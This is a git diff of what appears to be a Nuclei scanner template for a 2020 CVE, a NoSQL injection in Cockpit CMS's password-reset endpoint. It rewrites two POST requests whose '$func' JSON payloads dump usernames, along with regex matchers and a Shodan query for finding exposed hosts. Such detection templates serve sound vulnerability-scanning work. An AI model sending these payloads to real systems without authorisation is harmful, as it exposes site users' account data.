updated the req and matcher

patch-10
Ritik Chaddha 2023-06-08 23:15:41 +05:30 committed by GitHub
parent 24c236b05e
commit 2b8f5b3c7e
No known key found for this signature in database
GPG Key ID: 4AEE18F83AFDEB23
1 changed files with 25 additions and 26 deletions

View File

@ -20,50 +20,49 @@ info:
epss-score: 0.80883
metadata:
max-request: 1
verified: "true"
verified: true
shodan-query: http.favicon.hash:688609340
tags: cve,cve2020,nosqli,sqli,cockpit,injection
http:
- method: POST
path:
- "{{BaseURL}}/auth/requestreset"
headers:
Content-Type: application/json
body: |
{
"user": {
"$func": "var_dump"
- raw:
- |
POST /auth/requestreset HTTP/1.1
Host: {{Hostname}}
Content-Type: application/json
{
"user": {
"$func": "var_dump"
}
}
- |
POST /auth/requestreset HTTP/1.1
Host: {{Hostname}}
Content-Type: application/json
{
"user": {
"$func": "nonexistent_function"
}
}
}
matchers-condition: and
matchers:
- type: regex
part: body_1
regex:
- 'string\([0-9]{1,3}\)(\s)?"([A-Za-z0-9-.@\s-]+)"'
- type: regex
part: body_1
regex:
- 'string\([0-9]{1,3}\)(\s)?"(error404)([A-Za-z0-9-.@\s-]+)"'
negative: true
- method: POST
path:
- "{{BaseURL}}/auth/requestreset"
headers:
Content-Type: application/json
body: |
{
"user": {
"$func": "nonexistent_function"
}
}
matchers-condition: and
matchers:
- type: regex
part: body_2
regex:
- 'string\([0-9]{1,3}\)(\s)?"([A-Za-z0-9-.@\s-]+)"'
negative: true